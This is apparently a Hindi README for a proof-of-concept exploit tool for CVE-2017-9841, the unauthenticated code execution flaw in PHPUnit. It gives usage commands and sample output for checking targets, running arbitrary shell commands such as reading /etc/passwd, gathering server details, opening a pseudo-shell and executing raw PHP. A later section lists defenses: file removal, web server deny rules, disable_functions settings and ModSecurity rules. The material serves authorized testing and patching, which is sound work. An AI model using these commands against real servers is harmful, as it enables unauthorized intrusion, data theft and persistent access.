
CVE-2017-9841 PHPUnit लाइब्रेरी में एक Remote Code Execution (RCE) कमजोरी है, जो 5.6.3 से पहले के संस्करणों और 6.x में 6.4.2 से पहले के संस्करणों को प्रभावित करती है।
⚠️ अस्वीकरण: यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
CVE-2017-9841 PHPUnit लाइब्रेरी में एक रिमोट कोड निष्पादन (RCE) कमजोरी है जो 5.6.3 से पहले के संस्करणों और 6.x के 6.4.2 से पहले के संस्करणों को प्रभावित करती है।
कमजोरी src/Util/PHP/eval-stdin.php में मौजूद है, जो php://input (POST बॉडी) के माध्यम से प्राप्त PHP कोड को eval() फ़ंक्शन का उपयोग करके निष्पादित करती है। यदि यह फ़ाइल सार्वजनिक रूप से सुलभ है (जैसे, एक असुरक्षित vendor/ निर्देशिका में), एक हमलावर प्रमाणीकरण के बिना सर्वर पर मनमाना PHP कोड निष्पादित कर सकता है।
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
यह फ़ाइल POST बॉडी से PHP कोड स्वीकार करती है और बिना किसी प्रमाणीकरण या मान्यता के इसे eval() के माध्यम से तुरंत निष्पादित करती है।
requests लाइब्रेरीpip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
-u फ़्लैग दोनों स्वीकार करता है: एक आधार URL (स्वचालित रूप से कमजोर पथ जोड़ता है) या एक पूर्ण URL जो सीधे eval-stdin.php की ओर इशारा करता है।
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
आउटपुट:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
आउटपुट:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
आउटपुट:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
vendor/ निर्देशिका के अंदर एक .htaccess फ़ाइल जोड़ें:
# /path/to/project/vendor/.htaccess
Deny from all
या इसे अपने Apache VirtualHost में कॉन्फ़िगर करें:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Nginx के लिए:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions सक्षम करें; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir सक्षम करें; /etc/php/8.4/fpm/php.ini या VirtualHost में
open_basedir = /var/www/html/project:/tmp
max_execution_time घटाएँmax_execution_time = 30
sudo systemctl restart php8.4-fpm
# या
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
ModSecurity उदाहरण:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# उदाहरण: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
निम्नलिखित स्थितियाँ इस कमजोरी की गंभीरता और शोषण क्षमता को काफी बढ़ा देती हैं:
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2017-9841 |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| प्रभावित | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| प्रकार | रिमोट कोड निष्पादन (RCE) |
| प्रमाणीकरण | आवश्यक नहीं |
| वेक्टर | नेटवर्क (दूरस्थ) |
| प्रकाशित | 27 जून 2017 |
| संदर्भ | NVD |
| फ़्लैग | विवरण |
|---|
-u, --url URL | लक्ष्य आधार URL या eval-stdin.php का पूर्ण URL |
-c, --cmd CMD | लक्ष्य सर्वर पर निष्पादित करने के लिए CLI कमांड |
--check | जाँच करें कि क्या लक्ष्य कमांड निष्पादित किए बिना कमजोर है |
--shell | एक सूडो-इंटरैक्टिव शेल खोलें |
--info | सर्वर जानकारी एकत्र करें (केवल-पढ़ने) |
--find-path | eval-stdin.php का पता लगाने के लिए सामान्य पथ स्कैन करें |
--path PATH | eval-stdin.php के लिए एक कस्टम पथ निर्दिष्ट करें |
--timeout N | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 30) |
-o, --output FILE | कमांड आउटपुट को फ़ाइल में सहेजें |
--php CODE | सिस्टम कमांड के बजाय कच्चा PHP कोड निष्पादित करें |
| कारक | प्रभाव |
|---|
disable_functions खाली है | सभी PHP फ़ंक्शन उपलब्ध हैं (system, exec, आदि) |
open_basedir सेट नहीं है | हमलावर पूरे फ़ाइल सिस्टम में फ़ाइलें पढ़/लिख सकता है |
उच्च max_execution_time | जटिल पेलोड के लिए हमलावर के पास प्रति अनुरोध अधिक समय होता है |
| FFI एक्सटेंशन लोड है | PHP प्रतिबंधों को दरकिनार करते हुए सीधे C फ़ंक्शन कॉल की अनुमति देता है |
| डेटाबेस एक्सटेंशन लोड हैं | सीधे डेटाबेस कनेक्शन संभव (mysqli, pgsql, आदि) |
| कोई WAF तैनात नहीं | कोई अनुरोध फ़िल्टरिंग या अवरोधन नहीं |
| कोई IDS/IPS मौजूद नहीं | कोई विसंगति पहचान या अलर्टिंग नहीं |
| प्रोडक्शन में डेव निर्भरताएँ | अनावश्यक रूप से हमले की सतह का विस्तार करता है |